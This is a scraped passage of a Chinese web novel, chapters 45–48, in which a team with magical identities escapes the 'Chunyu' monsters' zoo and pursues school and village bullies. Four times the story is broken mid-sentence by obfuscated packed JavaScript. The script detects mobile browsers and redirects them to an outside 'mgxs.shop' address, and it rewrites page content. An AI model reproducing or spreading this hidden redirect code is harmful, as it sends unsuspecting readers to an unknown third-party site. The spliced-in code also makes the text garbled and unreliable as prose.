得想办法尽快把他救下来,同时也不能让大家在救了刘全以后失去行动力。 叶藤背着手走了过去。 看起来很通人性的“春羽”世界应该也会有审计来查账吧? “春羽”们果然纷纷停下了动作。 它们不再玩弄刘全,转而围着叶藤嘀嘀咕咕起来。 叶藤听到它们发出几声奇怪的声音,像是在笑,然后就不再关注她,继续去玩刘全。 刘全的惨叫声响彻了整个基地。 叶藤的通讯器也在她怀里振动了起来。 她一打开通讯器,就受到了一堆刘全的求救信息。 这个,现在她也没有办法。 之后是一个【译者】的消息。 【译者】翻译了一些“春羽”们的交流对话。 翻译不全,基本上还是要靠猜,之前那几声应该确实是笑声没错,“春羽”们围着刘全说得最多的话大概就是“真可爱啊”。 叶藤擦了擦后背上的冷汗。 这可不能让刘全看见,毕竟当初是她让刘全做那个特别可爱的造型的,虽然当时她也没想到会有这么多“春羽”。 不具备攻击身份的人纷纷尝试过用不敌对方式让“春羽”们放下刘全,全部失败以后,大家开始考虑让具有攻击性的队员出手了。 极具攻击性的【魔法师】出手了。 没人知道她是如何获得这个身份的,问起她她也只是说那是一个偶然,没人希望会发生这种事,虽然她好像认为这不是一件好事,但是队友们都认为这实在是一件大好事。 【魔法师】发动了【火元素攻击】。 几个巨大的火球飞速朝着“春羽”们发射了出去。 一个“春羽”被火球烧到衣服,不得不从“春羽”群中撤出,回头看向了下方的迷你小人。 45. 第 45 章 【火元素攻击】是有用的,另外的具有攻击身份的队员也纷纷发动了攻击。 “春羽”们被这些攻击逼迫到不得不放下刘全,刘全泪流满面地倒在地上,浑身上下已经没有一块好肉。 他暗暗在心里想,为什么他不能死,为什么他不能死了算了。 他看着头顶上为他升起的战火,思考着为什么自己没有攻击身份。 难道是他还不够有攻击性吗?他也很会说脏话啊。 思考了许久,没有得到答案,刘全抑郁地躺在地上。 这个抑郁状态他最近应该都走不出来了。 众人一同赶跑了“春羽”,也许是因为在“春羽”眼里,大家都是可爱的迷你人,所以基本上都是被动挨打,没有还手。 但是看刘全的状态,那些“春羽”应该还在远处观察着所有人。 有治疗身份的队员纷纷上前对刘全进行治疗,在超出常规物理现象的治疗水平下,刘全很快站了起来。 还有人给刘全发了点止痛药。 刘全没有接。 实际上他手里已经有很多止痛药了,但是关键时刻总是来不及吃。 刘全觉得在身体上止痛是没有用的。 现在他的心也即将荒芜了,如果心死能带动身死,刘全愿意许愿一个【自杀】技能,让他结束这个没完没了挨打的一生。 他一度怀疑过世界是一个键盘,每天被他疯狂敲击,终于在陷入疯狂以后决定要暗算他,针对他,让他尝一尝它尝过的滋味。 所以他再也没有碰过键盘。 叶藤犹豫着要不要去给刘全道歉。 毕竟一开始她没想到会有这么多“春羽”,她本来以为威胁是可控的,是可以迅速解决的。 没想到竟然会发生这样的事情,都是在她的指引下,是她的问题,如果不是有她这样的队长,刘全身上怎么会发生这种事…… 所有人都陷入了极为低落的情绪中。 然后大家仅凭着最后一丝理智各回各家,在沙发上一坐就缓过来了。 惊险刺激的一天,大家暂时赶跑了“春羽”,可以不被RUA死。 不知道接下来还会发生什么,有【饲养员】做出了一些推测。 她感觉这里很像是一个动物园。 通常来讲,发生了动物伤人的情况,园方可能会做出的决定是,从此以后,不再让游客入内,可能会加玻璃,防止游客受到伤害。 如果真的是这样那就还挺好,最好是,既然这里可能是动物园的话,通常来说,按照【饲养员】的经验来讲,动物园是有下班时间的。 到了晚上,很多动物都睡了,游客进来也没什么好看的,其实很多动物在人类的晚餐时间就不怎么活动了,早餐时间也有很多动物还在打盹,所以通常只有在不早不晚的时候,才能进动物园看动物。 不过其实很多动物都是夜行动物,但是人们也会在白天去看,然后它们慢慢就习惯在白天活动了,所以其实还是跟着人类的作息活动。 那么,“春羽”开的动物园应该也会有闭园时间,只是“春羽”的作息可能和人类有一定的区别,大家需要找到“春羽”的作息时间。 有时钟,叶藤拿着她床头上的闹钟,感觉自己已经拿到了掌握“春羽”作息时间的第一步。 接下来,她会一小时一小时出门去看,看“春羽”们的动物园什么时候闭园,看“春羽”们什么时候去睡觉。 然后要怎么做呢?叶藤甚至不知道围栏有没有通电。 如果逃出去,外面到处都是“春羽”,如果这里是“春羽”的世界,那她岂不是会像是老鼠,哦不,她现在应该在“春羽”眼里是比较可爱的那种,她应该是仓鼠,像个仓鼠一样满大街乱晃,可能会被自行车碾死,也可能会被路过的“春羽”捡起来RUA,还可能会遇到喜欢虐人的……说不定这个世界也像现实一样,虐人就像虐猫一样不犯法…… 那还不如就这样呆在动物园里了。 叶藤眉头紧皱。 难道要在这个动物园里呆一辈子吗……等等好像也不是不行。 前提是动物园会不断投喂食物,实际上好像动物园本来就是在不断投喂食物,她之前吃过的湖水里的三文鱼应该就是被投喂的…… 这么说她好像还是国宝级待遇。 然后,嗯,她有通讯器,她不介意在这里面玩一辈子通讯器。 啊难怪她的通讯器没有变成手机。 所以车没有信号也只是因为它变成了玩具车吗……真令人伤感。 叶藤伤感地在app发了一则朋友圈感慨,过了十分钟,零个人查看这条朋友圈。 看来苏宇和刘全也屏蔽了她。 无所谓,她早就考虑到了这种情况,她早就下载了一堆单机游戏和小说,没有人能和她互动聊天一起打游戏让她凑热闹她也无所谓。 叶藤自己玩单机游戏。 其实话说回来,她还带了电脑。 电脑在这里也不知道能不能用……欸能用,那主机…… 叶藤觉得这下自己真的可以在这里苟一辈子了。 苏宇感觉不太好。 她心里很急,她最近没在现代,在古代有了一个新墙头。 新墙头需要她,很需要她,新墙头是一个酒楼里的驻场,苏宇很看好新墙头的歌唱水平,但是新墙头嘴巴很毒一直很不得人心,眼看要被老板炒了,要不是她打赏了一笔打的,她就再也看不到新墙头了。 虽然新墙头嘴巴很毒对她也很冷漠,但是她真的很喜欢新墙头,她希望新墙头可以永远在酒楼靠窗的位置吹着大风唱着他的歌。 新墙头只有她,很多人都向她感慨过她对新墙头的爱,他们说她的爱淹没了新墙头,何等夸张的形容,她只觉得还不够。 苏宇晚上躺在床上想新墙头,白天趴在墙上想新墙头,想到泪水流下来,也没有,她不是“山矾”,不能靠哭哭倒动物园。 她只是很想新墙头。 她开始拉着人谈论她的新墙头。 人们惊讶于苏宇对新墙头的痴迷,纷纷表达了自己的差异,直到有钱队员站了出来解答了大家的困惑。 “那个驻场本来可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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因为现在都是排表外出搜寻食物,不像以前那样【黄金大厨】自己乐颠颠地把新鲜食物就地做好带回来,【黄金大厨】也不高兴天天出去被“春羽”盯着了。 在“春羽”的恐怖凝视之下,【黄金大厨】宁愿使用没那么新鲜的原材料进行烹饪,还打算做点腊肠什么的。 叶藤说她也很擅长做腊肠,【黄金大厨】叫她别添乱。 王远不再多想,背上背篓就这样出门了。 虽然有背包,她通常还是选择使用藤编背篓。 因为外面有春羽看着,她不希望被“春羽”发现她身上的太多底牌。 虽然但是,她感觉她的地盘再多,和“春羽”这样的庞然大物也难有一战之力,所以她还是决定苟着。 现在在这里,她尽量保持低调,比所有人都穿得差,别人穿整洁的衣服,虽然但是她也接受不了脏衣服,所以她穿着划开了一些不重要的位置的衣服,别人梳了漂亮的发型还佩戴了小饰品,她直接一剪刀把自己的头发剪到乱七八糟,别人手上戴着镯子,脚上挂着腿环,手脚还都做了美甲,她现在双手都是自然的颜色,身上除了衣服和背篓没挂任何东西。 王远认为她这次的伪装是完美的,必定不会再被认为是幕后主使了。 46. 第 46 章 事情的转变发生在刘全拒绝造型的那一天。 基地里的所有人都感觉到情况变得不对了,大家都比以往更容易受到悲观态度的侵蚀了。 刘全也变好。 他常常一个人静静站着发呆,站到腰酸腿软也不肯坐下。 “酸死他算了。”刘全常常这样想。 如果腰腿酸痛能酸死一个人,刘全想要做世界上第一个。 上帝没有赐福给他这个机会,他开始拜观音。 在此之前,他已经拜过了佛祖,土地,孙悟空,他们都没有给他这个机会,他觉得难过,他感到他被众神厌弃了。 刘全突然叹息一声。 过了一会儿,他又叹息了一声。 餐厅里不断响起他的叹息声。 叶藤怀疑他是真的抑郁了,不是被“春羽”看的。 想想也是,被巨大的怪物RUA来RUA去再轮流当成捏捏玩,应该是很痛苦,尤其是他还死不了。 但是【心理医生】也看过了,【脑神经医生】也找过了,现在这个情况,大家也都没有办法。 现在,已经有人提出要不然干脆给刘全洗脑,让他忘掉这段记忆好了。 叶藤觉得这个提议有点危险,她建议提议人自己去找刘全提议,不要让她给刘全提议。 提议人没敢自己去给刘全提议,所以刘全至今还是这个样子。 叶藤品尝着精美的菜肴,苏宇吃着精致的甜点,王远在吃碗碗羊肉。 她们上空中时不时飘来一声“唉”,叶藤听而不闻,苏宇闻而不见,王远在认真吃碗碗羊肉。 之后确实是没有“春羽”再进来RUA过人了。 但是大家还是常常会有种在被注视的感觉,不只是在户外,在房间里大家也开始有这样的感觉了。 叶藤有时候半夜睡醒也会有这样的感觉。 而且根据她的观察,每个小时这里都在被“春羽”注视。 哦,躲不开,逃不掉,它们的爱像太阳,像月亮…… 王远吃完了碗碗羊肉,还打包了一份。 她最近跟邻居相处得还不错,她的邻居最近非常不想出门,所以一直拜托王远给她打饭。 饭又不要钱,王远觉得是小事一桩,天天给她打一些她也很爱吃的菜。 虽然带回去这一份饭菜不是她的,但是只要想想手里提着爱吃的菜,王远就心情愉快到忍不住哼起了歌。 哼着哼着,她突然感受到了那种熟悉的被注视的感觉。 这实在是很容易让她感到心虚,虽然她什么都没做,但是【幕后主使】总是不能让人相信她什么都没做。 王远决定,为了避免心虚,要不她还是做点什么吧。 不能什么都靠别人脑补,她就这样一直躺平吧,总得做点什么…… 她在给邻居送菜的时候加上了一张明信片。 是她之前去A市旅游买的明信片,A市不愧是大城市,每一张明信片都很有感觉,王远收藏了很多张。 她在明信片上写下了对邻居的关心,希望邻居可以快点恢复过来,然后高高兴兴地走了。 虽然仍然有那种很强烈的被凝视的感觉,但是她已经不心虚了。 对,就是她,很废,打不过“春羽”,没有攻击能力,也没有谈判能力,但是她也尽可能做了一些能够帮助到别人的事情了,不许再对她抱有更高要求,谁也不行,她自己也不可以。 不过,对了,这个邻居,她好像还没跟她说过话,只远远地见过一面。 王远停下脚步。 邻居的身份是什么来着? 叶藤无聊地翻着数据。 言论总是喜欢骗人,数据才是最真实的东西。 她翻看的是app上的数据,关于小队成员数量的数据。 小队成员总人数有很多,来到这里的并不是大部分,大部分人屏蔽了所有人,然后被“春羽”抹杀了。 小队里每天都有新人加入,所以人数缺口并不算大,叶藤把数据算过来算过去,最后得出了一个确定的数据。 这应该就是基地里的队员总数了。 但是,这个数据和基地里的卧室数据对不上。 她记得当时是说要留一些卧室给一些情侣用,因为有的人无论在什么情况下都有可能会选择生育,叶藤深以为然,所以让情侣们自己去搜集材料建造了多出来的一些卧室。 然后现在所有的卧室都被住满了。 最近这样的情况,情侣们都没心情为爱付出了,所以也没人对这种情况有意见,叶藤一出门就心灰意冷,看到房间都住满了也只会埋怨自己粗心大意,这点人数都没算好。 其实她应该是算好了的。 叶藤放下手边的平板,看向窗外。 窗户是个很好用的东西,可以把室内和室外连接在一起,同时又让人能安心地继续呆在室内。 她在室内往外看,在距离这里很远的地方,“春羽”显然也正隔着玻璃往她这里看。 不知道能拦住“春羽”游客的玻璃墙会有多厚。 既然是玻璃,那应该就能被【魔法师】烧穿,叶藤仍然没有放弃从物理上穿破动物园的想法,也许成为从魔法上穿破动物园的想法会更合适。 不过话说回来,也许方向并不在这里。 “春羽”是怪物,但是春羽应该另有其人,或者另有其猩。 她推测过很多次,她猜测过“春羽”会不会其实是一群被动物园虐待的大猩猩,但是她没有从这种推测中得到任何回应。 就像之前一样,她只要找到“春羽”对应的,或者至少是深入了解过“春羽”的,就可以逐步解决问题。 但现在她只能推测到和“春羽”没什么关联的。 难道说,是因为上次解决“山矾”的时候最终指向的是比较严肃的情况,所以把她带歪了,其实“春羽”没那么严肃?或许“春羽”真的就是那种变态博主的化身?其实并不是大猩猩? 这个推测她早就有过了,只是没有继续往后推下去。 如果继续往后推下去,那么“春羽”显然就是一个泡在流行文化里的人,毕竟现在本来就很流行拍这种语气亲密的萌宠视频,猫狗也爱听, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459136|201263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尤其是狗。 也可能是大熊猫,如果有人有机会摸到大熊猫,而且大熊猫像她现在和“春羽”的比例一样小小一只的话,很大概率会被RUA来RUA去,而且大熊猫皮糙肉厚,很大概率会被RUA得更猛一点。 但是现在大熊猫很多都是24小时直播,虽然总体来说动物园丰容都一般,毕竟丰容这个概念普及都没多久,但是国宝的待遇还是比较好的,排队做“春羽”的话,大熊猫大概是只能排在很后面的位置。 还是没推测到什么东西,叶藤刷了刷app。 【译者】发布了一些新的翻译内容。 “春羽”会夸刘全很有“春羽”的灵性。 估计刘全看到又是两眼一黑。 叶藤把所有翻译抄写了下来。 “春羽”好像以为自己是人类。 或者说,“春羽”很像是那种,认为人类高别的动物一等的人。 虽然从表面上来看,“春羽”很喜欢人类,但是实际上,“春羽”说出的所有话,好像都不太对劲。 它们会夸赞人类“小小的”,“软萌”,“神态很灵活”,“有‘春羽’的灵性”,“有很多古灵精怪的想法”,“能养起来越变越多”,“感情很丰富”。 还有被赶跑的时候,有“春羽”说“需要收拾”。 后面是有几天小队没能在热带雨林里找到食物,不过大家带来的食材本来就很多,根本吃不完,所以当时没有多想,现在看来,“春羽”们当时就是在断粮威胁大家。 如果没有存粮,饿了那么多天,要么被饿死,要么在这里乱挖植物被毒死,这里有很多像是滴水观音的植物,估计挖出来都是全株有毒。 叶藤反复思考,想到了一种可能。 也许“春羽”既不能动物,也不是博主,甚至不像“山矾”和从前的许多怪物一样,原本是个可怜人。 也许“春羽”完全不值得被怜悯,“春羽”应该被击杀。 “春羽”可能是一个霸凌者。 生命不只是在动物园里会受到行动上的限制。 在校园,在职场,甚至在小社群当中,人类也有自己的笼子。 叶藤晃了晃神。 她摇摇头,不再思考这些。 还没到该走的时候,还要再等等,等到……至少让她把苏宇一起拉过去,一个人历险的滋味可不太好。 咚咚—— 有人敲响了她的大门。 她打开门一看,看见了王远。 王远沉着一张脸:“我们的基地里,原本应该有很多空置的卧室,对吗?” “对啊。” 王远沉着脸不说话。 叶藤主动接话:“你也发现不对了?” 王远点了点头。 叶藤拍拍她的肩膀:“没事,没什么大不了的,我可能已经快要发现‘春羽’是谁了。” 王远没有立刻问是谁。 问了可能就要直接面对“春羽”本尊了,她现在暂时不想面对“春羽”。 无知是一种幸福,在疯狂的世界里,所有人都这样认为。 47. 第 47 章 如果问王远下辈子最想去哪里,她会觉得哪里都好,只要不在疯狂世界就好了。 如果可以的话,她希望她的妈妈爸爸也不要进入疯狂世界,但是这显然没有可能,当时是整个世界都陷入疯狂了。 一开始是说有很多人基因出现权限,先天精神病几率提升,再就是环境污染,还有社会戾气重人类被手机控制什么的,啊都是一些一年到头都在说的事情,王远早就看到麻木了。 然后就这样平淡地一天又一天过下去,王远没疯,世界疯了。 很多人疯得很彻底,变成了怪物,王远幸运地没有因为天天刷手机发疯,她的妈妈爸爸也没有发疯,只是一个个拥有了一些奇怪的别人一眼就能看到的标签,现在被称为身份。 花了一些时间,有身份的大家把……好吧怪物同样也有身份,总之就是,她本人所在的时空里,已经没有怪物了,她本来以为可以养老了。 结果那里确实成了养老区域,但是她不能养老。 她得在外面打工赚钱给她妈妈爸爸姥姥姥爷……其实她的家人们并不需要很多钱。 是她需要很多很多钱。 她需要很多很多钱维持她身为【幕后主使】的生活,虽然她一直很不能接受自己的身份,但无论如何,【幕后主使】就这样一直缠着她。 在东46区的时候,就有很多人莫名其妙的突然把她当作管理员,就算她一而再再而三解释,一样有人认为她有更高权限,虽然她的家人们替她说话,告诉别人不是这样,但是说了也没用,还可能被打。 为了不拖累家人,她只好外出打工。 一开始她去的是更前方的区域,但是,也许是遭受到了陷害,也可能是有人看不惯她,总之,她走着走着,就来到了东45区。 距离东46区一步之遥,可以经常回去探亲,赚的钱也多。 虽然跟她一开始想要的不一样,但总之现在这样也还挺好。 因为这里的大家都是那种,不畏惧生死,爽一天算一天,活一天有一天的人,她的身份也不怎么奇怪,一直以来,她的感受就像是回到了真正的故乡一样。 在这里,很少有人真的会认为她是幕后主使。 所以突然冒出来一个一上来就把她当成老大的人,她的第一反应就是警惕起来。 她不是老大,她谁也不管,谁也不知道,手里没有任何值得窃取的信息和东西,只有刚从餐厅里打的菜。 菜一旦从她手里被扔出去,她就什么值得被窃取的东西都没有了。 连菜都不要,就一定要追着她跑的话,她当然会觉得这个人有问题。 然后这个人就暴露出了更多的问题。 她的邻居走路的姿势开始变得歪歪扭扭,眼睛开始发光,手像僵尸一样前伸,王远一边跑一边回头看,越看越觉得身后的邻居不像人。 然后她把邻居引到了叶藤门口。 叶藤:? 王远:“队长,我就把它交给你了。” “你觉得你这样做应该吗?” “不应该吗?” 王远神情拘谨。 怪物一步步,也可能是几步几步摇摇晃晃地走过来了。 叶藤不管也得管了。 像这样的怪物,在面对她的时候,会比面对王远的时候稍稍要弱一点点。 因为她身上稍微有点肌肉,而且她还略微懂得一些枪法。 但是也只是能好一点点而已,叶藤还是得跑。 她和王远一起朝着【魔法师】的方向跑了起来。 【魔法师】刚睡醒,给她们开门的时候还穿着睡衣,她往二人身后看了一眼,立马清醒到不能更清醒了。 一个火球朝着怪物攻了过去,怪物被推得后摇了一点。 只是被推得后摇了一点…… 【魔法师】也跑了起来。 基地所有人不得不早起来面对这个怪物,而后大家发现,就算用尽了所有的力气和手段,也只能让怪物在短短的时间碎成一团,然后它很快又会粘在一起恢复原状。 人们只好咬牙继续拿出更多的力气和手段。 叶藤感觉不对。 一个区域通常不会同时出现两个怪物。 而且像这样被打散然后可以随意重组,让她觉得,很像一种东西。 小说里的身外化身?不对,应该是,一种生物的拟态。 它看起来确实不像人,人像是它的拟态。 叶藤推测到这里,看见了它身上的关节。 是的,这是个有摄像头的机器人,控制它的显然就是“春羽”。 “春羽”的科技,或者说魔法水平,要远远超过这里的所有人。 叶藤深呼吸一口气,开始讲述自己的推测。 讲述的是关于“春羽”在现实中的身份的推测。 她也不确定接下来会去到哪里,毕竟现实中有太多“春羽”这样的人,从现代到古代,从职场到校园。 但是总比继续在这里当热带雨林里的动物要好吧…… 叶藤叹着气走了。 后面的人纷纷跟上。 推开门以后,一众人来到了人来人往的大街上。 这让大家看起来很可疑,这个时候,王远沉着脸从人群里走了出来。 嗯,看起来更可疑了。 但是没人敢靠近。 叶藤左看右看,不知道该往那边走,“春羽”应该就在附近,但是很显然,这是大街上,理论上来说,大街上不可能会出现黑猩猩。 不过,也说不定,其实“春羽”并不像是黑猩猩那样。 也说不定拟态才是真正的“春羽”。 这次没有拍摄她和王远一起看见的拟态,但是之前苏宇有在行车记录仪上记录下一个小怪。 把它抹去怪异的表情,就能看见一张正常的脸。 所有人开始拿着一张照片到处找人。 动静比较大,有小吏过来问都在干什么。 王远沉着一张脸不说话,小吏走了。 这样找还是有点慢,【魔法师】在照片上加了魔法,有长相一模一样的人靠近就会自动嘀嘀嘀。 有了魔法的帮助,大家终于找到了人。 是在书院里找到的,书院里书声朗朗,大家差点没找到人,好在有人帮忙指认了他,这么说好像其实还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459137|201263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是靠人找到的。 此男常年欺男霸女,很多人看他不顺眼,叶藤没有多犹豫,当即就是一刀给他脖子抹了。 过来指认的人大为震惊,随后浑身打颤,嘴里说着什么“他们不会放过我的”之类的话,就这样开始寻死觅活,听得刘全头大。 刘全走过去给了他一拳,他更想死了。 没过一会儿,“春羽”的家人就到了。 “春羽”名叫陈酾,陈酾是陈家嫡长子,从小嫡嫡道道规规矩矩,没想到好不容易长大成材竟然遭此毒手,陈家的希望就此破灭,定然要让所有人不得好死。 官府来捉人的时候,王远冷冷地看了他们一眼。 然后他们就灰溜溜地走了。 陈家不服,派出了自己手底下的私兵。 王远站在城墙上看向下方,目光冷然,神情冷酷。 陈家兵败如山倒。 拿下了陈家,再拿下了本地的县镇,王远冷冷的眼神看得更远了。 没想到“春羽”的本体这么好解决,叶藤觉得大家应该可以回去了,她想回去吃草莓棉花糖了,闭上眼睛回想自己的小房子打算先自己回去爽爽。 她没能爽上,她怎么想都回不去。 怎么睁眼都在同一个位置的叶藤十分不爽。 古代又没有好吃的……虽然很多人会说古代的食物纯天然,但是在现代,只要有钱,纯天然的食物一样可以买到很多,种类还比古代多得多。 拿命赚钱的叶藤当然是很有钱的。 在古代,这些钱在她身上就起不到很大作用了。 可是她又走不掉。 叶藤挠了挠头。 她感觉有一种可能,这个“春羽”仍然不是她们要找的真正的“春羽”。 那真正的“春羽”究竟在哪里? 不需要她再多做思考,眼前的景象已经发生了变化。 来到现代了。 在去找“春羽”之前,她先去超市逛了逛,买了点东西。 超市里时不时就会有一些她没见过的吃的。 很大概率是好吃的,食品工业不是白发展的。 她吃着好吃的,看着好看的,跟着队员们行走的方向找到了“春羽”。 这次的“春羽”在校园里。 校园大家都呆过,所以先是有人去找了老师。 找老师没什么用,然后又有人去找了校长,受害者被虐打得更惨了。 有人试着去找了受害者的家长,受害者险些身亡。 看来正常的手段是无法解决这个问题了。 人们开始使用技能。 有人技能是【打卦】,于是上门找家长算了一卦,家长不认,家长说受害者不可能这么好运。 叶藤的技能在这方面好像没什么用,但是她的【巫祝】身份还是很够看的,小区里有一群老人开始动不动对家长指指点点,家长们收敛了一点。 还有很多各式各样的力气和手段被使了出来,两个家长有些松懈了,愿意让受害者转学到另一所学校。 队员们还没来得及松一口气,回到校园,就发现,这么快又有了一个新的受害者了。 48. 第 48 章 新的受害者比上一个受害者更难拯救。 上一个受害者品学兼优且长相乖巧,而新的受害者成绩非常差劲,长相也只能说是不吓人,很难博取到人们的同情心。 而且之前这个受害者对上一个受害者表现得毫无同情心,所以哪怕只是在班级里也几乎没有人心疼他。 队员们也不怎么有心疼他的,队员们开始把注意力转移到其它方向上。 比如施暴者身上。 显然,施暴者才是“春羽”。 有施暴者,就会有源源不断的受害者,无论大家再怎么拯救受害者,总会有新的受害者因为施暴者还没死,就不停地出现在这个世界上。 【魔法师】当即提议:“我们杀了他吧”。 也不失为一个好的选择。 但是很多人认为还有更好的选择:“杀了他也太便宜他了。” “那要怎么办?” “按照我的想法,当然是把他RUA来RUA去,当再成玩具捏来捏去,还不要让他去死。” 刘全发出了阴森诡异的笑声。 叶藤点头了。 本来她是不想点头的,对方毕竟还是一个孩子,虽然对方是一个十七岁的男童,但是,好吧,行吧,毕竟刘全都已经因为他被RUA来RUA去,捏来捏去还死不了了。 况且前一个受害者之前天天被虐打,被烧伤,还差点被活埋了。 叶藤一点头,有人就开始做了。 但是并没有按照刘全说的那样做。 毕竟“春羽”是“春羽”,施暴者是施暴者,就像“山矾”是“山矾”,而山矾是山矾,怪物的事情不能算到当事人头上。 所以大家决定用当事人自己的做法来回报当事人。 喜欢虐打别人,喜欢玩火烧别人,喜欢挖坑埋活人是吧? 队员们不介意配小孩玩一下小孩非常喜欢的一些游戏。 经过队员们的轮番陪玩,施暴者变得和善开朗了很多。 玩的过程里,施暴者的腿就像一个受害者的腿一样,突然在上学中的某一天瘸掉了,父母的工作也因为施暴者的原因突然统统消失了,于是施暴者的品格变得如同路边的野草一般温良起来了。 而此时,有人发现,似乎又有新的施暴者出现了。 原来和受害者一样,施暴者也是源源不断的吗? 叶藤不想花费太多时间在这种哲学问题上,她思考起了更有趣的问题,比如,今天她家门口的炸鸡会有多好吃。 更有趣的问题没能带她去见更美味的炸鸡。 难道要把这个施暴者也解决掉才行吗? 叶藤有些泄气。 那可不是什么轻松简单的事情啊。 如果解决了这个施暴者,还要解决下一个施暴者,那一直源源不断地解决施暴者,永远都没有尽头的。 施暴者是解决不完的,自古以来都是这样。 相对来说,让施暴者无法再对受害者进行伤害,这样的想法还稍微现实一点。 而且通过一些力气和手段,这应该是可以实现的。 【女巫】有很多这样的力气和手段。 只需要对【施暴者】进行一个诅咒,就可以解决这个问题。 但是这个提议很快得到了全员反对,因为一方面现在大家眼前的施暴者身上并没有【施暴者】标签,没有这个身份,那么诅咒就对当前这个,之前那个,还有古代那个施暴者都没有任何作用。 而且,刚刚,就在刚刚,很多人刚刚对施暴者进行了施暴,大家都有点心虚不知道会不会也被算成施暴者。 通常来讲,一般情况下,人们会认为,通过一些法律对改善这样的情况会有帮助。 大家纷纷看向了【律师】。 【律师】疯狂摇头。 【律师】只能一对一签订契约,只能遵照现有法律行事,不能修改法律。 况且就算有了法律,实施也是一个问题。 那难道大家就只能这样,卡在一个又一个“春羽”之间,再也不能回去了吗? 也许是时候立下遗嘱了。 王远的遗嘱写了一半,突然有了一个想法。 归根结底,首先,怪物都是精神疾病的化身。 也就是说,其实,需要消灭的并不是所有施暴者,虽然大家都很想这么做。 实际上,需要被消灭的只有那些患有精神疾病的施暴者。 而且,通常来说,怪物患上的都是很少有人能够理解的精神疾病,也就是说,需要被消灭的人,也许并没有大家以为的那么多。 还有,这些人在某些方面,应该会和普通施暴者有比较大的出入。 比如哪些方面呢? 实际上,“春羽”似乎已经表现得很明显了。 普通的施暴者虐待受害者的时候,通常会有自己的信条,比如男人会认为霸凌弱者是正义的,女人会认为霸凌不合群的人是应该的,虽然听起来让人觉得可恶,但都是正常的。 而刘全是因为什么被RUA来RUA去甚至被当成捏捏,要不是他怎么都死不了,现在已经死透了的? 因为他身上有可爱的buff。 这种行为似乎可以归纳到可爱侵犯上,这是大多数人都会有的情况,但是大多数人只是想一想,并不会这么做。 因为正常人都会有基本的自控力,能做到把心思放在正事上,好好去做完自己的事情,而不是去做一些没有必要,可能后悔,可能带来别人的防备甚至仇视的事情。 那么实际情况就比较明显了,“春羽”们很可能都有连环杀手三件套,尿床,虐待动物,放火,典型的自控力低下,前额叶很可能有问题。 在一些app的悉心关照下,很多人前额叶都有问题,应该不只是这一点,还有其它方面的问题,王远去找了【心理医生】。 【心理医生】去找了叶藤。 叶藤去找了【女巫】。 这样诅咒目标范围就缩小很多了。 本来虐猫虐狗的人就很讨厌,叶藤讨厌他们很久了,正好可以趁机给【女巫】说说坏话,让【女巫】诅咒他们破财什么的。 虽然但是,破财还是有点轻微,有点小气了,不够畅快。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459138|201263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 总之先诅咒破财看看情况好了。 收到任务的【女巫】开始进行诅咒。 需要很多诅咒材料,还好现代买东西方便,没过几天【女巫】就可以开始吟唱了。 破财需要一点时间才能看到后续,大家观察了一段时间这个班里的情况,看到施暴者换了普通的衣服穿。 这些施暴者是最喜欢穿有钱衣服炫耀自己的,一般人穿普通衣服可能就只是看到什么买什么,施暴者穿普通衣服,那肯定就是没钱买好衣服了。 他很快就不能继续当施暴者了,他成了受害者,班级里有了另一个施暴者。 新的施暴者很快又换上了普通的衣服。 这时候已经不只是领头的换普通衣服了,他身边跟着的小弟们也都换普通衣服,也不染发不烫头了。 没过多久,这个班级里穷人变得太多,班上很多人交不起学费了,这里是高中,不是义务教育,班级里很快空了很多。 外面的新闻也报道了经济下行,全球危机。 【女巫】陷入了沉思。 不对,她诅咒的时候好像太兴奋了,没听进去要只诅咒虐待动物的,好像只是进行了一个大范围的校园霸凌者诅咒。 那要解除诅咒然后重来了。 接触诅咒的话,得去找…… 【女巫】有点懵了。 她好像不知道该找谁解除诅咒。 这个时候要找队长。 叶藤听到了这样的坏消息,也是有点没办法。 还好小队里没有现在还在上学的,队员们的财产没有受到威胁,大家的情绪都还不错,都还处在一种看乐子的状态。 叶藤也就可以直接把求助信息发出来直接在app里问大家有没有办法。 发出来以后零个人回应她,她这些完全认识到了自己有多不受队员待见。 真是的,某种意义上,这也是种霸凌好吗! 叶藤只好让【女巫】自己去发求助信息。 【女巫】的求助信息兜兜转转晃了一圈,【魔法师】试过也没法解除以后,事情又落到了叶藤身上。 叶藤好歹也是个【巫祝】啊。 